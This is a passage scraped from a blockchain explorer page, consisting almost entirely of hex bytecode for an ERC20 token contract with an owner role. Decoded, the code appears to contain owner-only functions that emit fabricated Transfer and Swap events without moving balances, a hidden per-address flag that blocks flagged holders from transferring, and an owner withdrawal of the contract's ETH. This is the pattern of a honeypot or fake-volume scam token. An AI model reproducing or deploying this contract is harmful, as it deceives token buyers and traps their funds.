e9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361305a57613059612fba565b5b600182019050919050565b6000819050919050565b600061308a61308561308084613065565b612cfa565b6125e9565b9050919050565b61309a8161306f565b82525050565b60006080820190506130b56000830187613091565b6130c260208301866125f3565b6130cf60408301856125f3565b6130dc6060830184613091565b95945050505050565b60006080820190506130fa60008301876125f3565b6131076020830186613091565b6131146040830185613091565b61312160608301846125f3565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613186602583612636565b91506131918261312a565b604082019050919050565b600060208201905081810360008301526131b581613179565b9050919050565b60006080820190506131d16000830187612d26565b81810360208301526131e38186612d95565b90506131f260408301856125da565b6131ff60608301846125f3565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613264602683612636565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132f6602483612636565b91506133018261329a565b604082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613388602283612636565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006133f4601d83612636565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613486602583612636565b91506134918261342a565b604082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613518602383612636565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006135aa602683612636565b91506135b58261354e565b604082019050919050565b600060208201905081810360008301526135d98161359d565b9050919050565b50565b60006135f0600083612636565b91506135fb826135e0565b600082019050919050565b6000602082019050818103600083015261361f816135e3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061365c602083612636565b915061366782613626565b602082019050919050565b6000602082019050818103600083015261368b8161364f565b905091905056fea26469706673582212206b7e37b4dbc8e9f99af1e1791a79475c1e7a0ab10e91c561e2a0f861ca89349364736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612602565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f91906126bb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612749565b610791565b60405161025c91906127a4565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b60405161028791906127bf565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612749565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db91906127da565b610aa4565b6040516102ed91906127a4565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b6040516103189190612849565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612864565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c9190612749565b610b28565b60405161037e91906127a4565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612864565b610b5f565b6040516103bb91906127a4565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190612864565b610bb5565b6040516103f891906127bf565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061294c565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b5061046860048036038101906104639190612a00565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c9190612a4d565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b59190612749565b61101e565b005b3480156104c857600080fd5b506104d161131e565b6040516104de9190612ac1565b60405180910390f35b3480156104f357600080fd5b506104fc611347565b60405161050991906126bb565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612adc565b6113d9565b005b34801561054757600080fd5b50610562600480360381019061055d9190612a4d565b6113fb565b005b34801561057057600080fd5b5061058b60048036038101906105869190612749565b611586565b60405161059891906127a4565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190612749565b6115fd565b6040516105d591906127a4565b60405180910390f35b3480156105ea57600080fd5b5061060560048036038101906106009190612749565b611620565b005b34801561061357600080fd5b5061062e600480360381019061062991906127da565b6118d6565b005b34801561063c57600080fd5b50610645611940565b005b34801561065357600080fd5b5061066e60048036038101906106699190612b2f565b611991565b60405161067b91906127bf565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612a00565b611a18565b005b3480156106b957600080fd5b506106d460048036038101906106cf9190612864565b611ac5565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612b6f565b611b48565b005b60606006805461070e90612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612c1f565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611e89565b90506107a9818585611e91565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612c50565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612cc3565b81600181518110610900576108ff612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061096930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e91565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b81526004016109cf959493929190612df3565b6000604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a179190612f71565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9791906127bf565b60405180910390a3505050565b600080610aaf611e89565b9050610abc85828561205a565b610ac78585856120e6565b60019150509392505050565b60006012905090565b610ae461245c565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b33611e89565b9050610b54818585610b458589611991565b610b4f9190612fe9565b611e91565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610ceb57848482818110610c1f57610c1e612c7f565b5b9050602002016020810190610c349190612864565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c5d57610c5c612c7f565b5b9050602002016020810190610c729190612864565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610cbc57610cbb612c7f565b5b90506020020135604051610cd091906127bf565b60405180910390a38080610ce39061301d565b915050610c01565b50505050505050565b610cfc61245c565b610d0660006124da565b565b610d1061245c565b60005b82829050811015610e8d57600160026000858585818110610d3757610d36612c7f565b5b9050602002016020810190610d4c9190612864565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610de957610de8612c7f565b5b9050602002016020810190610dfe9190612864565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e65868686818110610e4b57610e4a612c7f565b5b9050602002016020810190610e609190612864565b610bb5565b604051610e7291906127bf565b60405180910390a38080610e859061301d565b915050610d13565b505050565b60005b8484905081101561101757848482818110610eb357610eb2612c7f565b5b9050602002016020810190610ec89190612864565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f4e94939291906130a0565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610fa257610fa1612c7f565b5b9050602002016020810190610fb79190612864565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ffc91906127bf565b60405180910390a3808061100f9061301d565b915050610e95565b5050505050565b6000600267ffffffffffffffff81111561103b5761103a612c50565b5b6040519080825280602002602001820160405280156110695781602001602082028036833780820191505090505b509050308160008151811061108157611080612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114c9190612cc3565b816001815181106111605761115f612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506111a78330600c54611e91565b6111b48330600c546120e6565b6111e330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e91565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b8152600401611249959493929190612df3565b6000604051808303816000875af1158015611268573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906112919190612f71565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161131191906127bf565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461135690612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461138290612c1f565b80156113cf5780601f106113a4576101008083540402835291602001916113cf565b820191906000526020600020905b8154815290600101906020018083116113b257829003601f168201915b5050505050905090565b6113e161245c565b82600b8190555081600c8190555080600d81905550505050565b60005b8484905081101561157f5784848281811061141c5761141b612c7f565b5b90506020020160208101906114319190612864565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516114b694939291906130e5565b60405180910390a38484828181106114d1576114d0612c7f565b5b90506020020160208101906114e69190612864565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161156491906127bf565b60405180910390a380806115779061301d565b9150506113fe565b5050505050565b600080611591611e89565b9050600061159f8286611991565b9050838110156115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db9061319c565b60405180910390fd5b6115f18286868403611e91565b60019250505092915050565b600080611608611e89565b90506116158185856120e6565b600191505092915050565b6000600267ffffffffffffffff81111561163d5761163c612c50565b5b60405190808252806020026020018201604052801561166b5781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ff9190612cc3565b8160008151811061171357611712612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061176257611761612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b815260040161180194939291906131bc565b60006040518083038185885af115801561181f573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906118499190612f71565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c991906127bf565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193391906127bf565b60405180910390a3505050565b61194861245c565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561198e573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a2061245c565b60005b82829050811015611ac057600060026000858585818110611a4757611a46612c7f565b5b9050602002016020810190611a5c9190612864565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ab89061301d565b915050611a23565b505050565b611acd61245c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b339061327a565b60405180910390fd5b611b45816124da565b50565b6000600267ffffffffffffffff811115611b6557611b64612c50565b5b604051908082528060200260200182016040528015611b935781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c279190612cc3565b81600081518110611c3b57611c3a612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611c8a57611c89612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015611e8157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a87818110611d2957611d28612c7f565b5b9050602002016020810190611d3e9190612864565b426040518663ffffffff1660e01b8152600401611d5e94939291906131bc565b60006040518083038185885af1158015611d7c573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611da69190612f71565b50858582818110611dba57611db9612c7f565b5b9050602002016020810190611dcf9190612864565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110611e5257611e51612c7f565b5b90506020020135604051611e6691906127bf565b60405180910390a38080611e799061301d565b915050611cc7565b505050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef79061330c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f669061339e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161204d91906127bf565b60405180910390a3505050565b60006120668484611991565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120e057818110156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c99061340a565b60405180910390fd5b6120df8484848403611e91565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c9061349c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bb9061352e565b60405180910390fd5b6121cf83838361259e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224d906135c0565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061238a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123e65760011515600560009054906101000a900460ff161515146123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc90613606565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161244391906127bf565b60405180910390a36124568484846125a3565b50505050565b612464611e89565b73ffffffffffffffffffffffffffffffffffffffff1661248261131e565b73ffffffffffffffffffffffffffffffffffffffff16146124d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cf90613672565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125d3826125a8565b9050919050565b6125e3816125c8565b82525050565b6000819050919050565b6125fc816125e9565b82525050565b600060408201905061261760008301856125da565b61262460208301846125f3565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561266557808201518184015260208101905061264a565b60008484015250505050565b6000601f19601f8301169050919050565b600061268d8261262b565b6126978185612636565b93506126a7818560208601612647565b6126b081612671565b840191505092915050565b600060208201905081810360008301526126d58184612682565b905092915050565b6000604051905090565b600080fd5b600080fd5b6126fa816125c8565b811461270557600080fd5b50565b600081359050612717816126f1565b92915050565b612726816125e9565b811461273157600080fd5b50565b6000813590506127438161271d565b92915050565b600080604083850312156127605761275f6126e7565b5b600061276e85828601612708565b925050602061277f85828601612734565b9150509250929050565b60008115159050919050565b61279e81612789565b82525050565b60006020820190506127b96000830184612795565b92915050565b60006020820190506127d460008301846125f3565b92915050565b6000806000606084860312156127f3576127f26126e7565b5b600061280186828701612708565b935050602061281286828701612708565b925050604061282386828701612734565b9150509250925092565b600060ff82169050919050565b6128438161282d565b82525050565b600060208201905061285e600083018461283a565b92915050565b60006020828403121561287a576128796126e7565b5b600061288884828501612708565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126128b6576128b5612891565b5b8235905067ffffffffffffffff8111156128d3576128d2612896565b5b6020830191508360208202830111156128ef576128ee61289b565b5b9250929050565b60008083601f84011261290c5761290b612891565b5b8235905067ffffffffffffffff81111561292957612928612896565b5b6020830191508360208202830111156129455761294461289b565b5b9250929050565b60008060008060008060608789031215612969576129686126e7565b5b600087013567ffffffffffffffff811115612987576129866126ec565b5b61299389828a016128a0565b9650965050602087013567ffffffffffffffff8111156129b6576129b56126ec565b5b6129c289828a016128a0565b9450945050604087013567ffffffffffffffff8111156129e5576129e46126ec565b5b6129f189828a016128f6565b92509250509295509295509295565b60008060208385031215612a1757612a166126e7565b5b600083013567ffffffffffffffff811115612a3557612a346126ec565b5b612a41858286016128a0565b92509250509250929050565b60008060008060608587031215612a6757612a666126e7565b5b600085013567ffffffffffffffff811115612a8557612a846126ec565b5b612a91878288016128a0565b94509450506020612aa487828801612734565b9250506040612ab587828801612734565b91505092959194509250565b6000602082019050612ad660008301846125da565b92915050565b600080600060608486031215612af557612af46126e7565b5b6000612b0386828701612734565b9350506020612b1486828701612734565b9250506040612b2586828701612734565b9150509250925092565b60008060408385031215612b4657612b456126e7565b5b6000612b5485828601612708565b9250506020612b6585828601612708565b9150509250929050565b60008060008060408587031215612b8957612b886126e7565b5b600085013567ffffffffffffffff811115612ba757612ba66126ec565b5b612bb3878288016128a0565b9450945050602085013567ffffffffffffffff811115612bd657612bd56126ec565b5b612be2878288016128f6565b925092505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c3757607f821691505b602082108103612c4a57612c49612bf0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612cbd816126f1565b92915050565b600060208284031215612cd957612cd86126e7565b5b6000612ce784828501612cae565b91505092915050565b6000819050919050565b6000819050919050565b6000612d1f612d1a612d1584612cf0565b612cfa565b6125e9565b9050919050565b612d2f81612d04565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d6a816125c8565b82525050565b6000612d7c8383612d61565b60208301905092915050565b6000602082019050919050565b6000612da082612d35565b612daa8185612d40565b9350612db583612d51565b8060005b83811015612de6578151612dcd8882612d70565b9750612dd883612d88565b925050600181019050612db9565b5085935050505092915050565b600060a082019050612e0860008301886125f3565b612e156020830187612d26565b8181036040830152612e278186612d95565b9050612e3660608301856125da565b612e4360808301846125f3565b9695505050505050565b612e5682612671565b810181811067ffffffffffffffff82111715612e7557612e74612c50565b5b80604052505050565b6000612e886126dd565b9050612e948282612e4d565b919050565b600067ffffffffffffffff821115612eb457612eb3612c50565b5b602082029050602081019050919050565b600081519050612ed48161271d565b92915050565b6000612eed612ee884612e99565b612e7e565b90508083825260208201905060208402830185811115612f1057612f0f61289b565b5b835b81811015612f395780612f258882612ec5565b845260208401935050602081019050612f12565b5050509392505050565b600082601f830112612f5857612f57612891565b5b8151612f68848260208601612eda565b91505092915050565b600060208284031215612f8757612f866126e7565b5b600082015167ffffffffffffffff811115612fa557612fa46126ec565b5b612fb184828501612f43565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ff4826125e9565b9150612fff836125e9565b925082820190508082111561301757613016612fba565b5b92915050565b6000613028826125e9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361305a57613059612fba565b5b600182019050919050565b6000819050919050565b600061308a61308561308084613065565b612cfa565b6125e9565b9050919050565b61309a8161306f565b82525050565b60006080820190506130b56000830187613091565b6130c260208301866125f3565b6130cf60408301856125f3565b6130dc6060830184613091565b95945050505050565b60006080820190506130fa60008301876125f3565b6131076020830186613091565b6131146040830185613091565b61312160608301846125f3565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613186602583612636565b91506131918261312a565b604082019050919050565b600060208201905081810360008301526131b581613179565b9050919050565b60006080820190506131d16000830187612d26565b81810360208301526131e38186612d95565b90506131f260408301856125da565b6131ff60608301846125f3565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613264602683612636565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132f6602483612636565b91506133018261329a565b604082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613388602283612636565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006133f4601d83612636565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613486602583612636565b91506134918261342a565b604082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613518602383612636565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006135aa602683612636565b91506135b58261354e565b604082019050919050565b600060208201905081810360008301526135d98161359d565b9050919050565b50565b60006135f0600083612636565b91506135fb826135e0565b600082019050919050565b6000602082019050818103600083015261361f816135e3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061365c602083612636565b915061366782613626565b602082019050919050565b6000602082019050818103600083015261368b8161364f565b905091905056fea26469706673582212206b7e37b4dbc8e9f99af1e1791a79475c1e7a0ab10e91c561e2a0f861ca89349364736f6c63430008120033

Deployed Bytecode Sourcemap

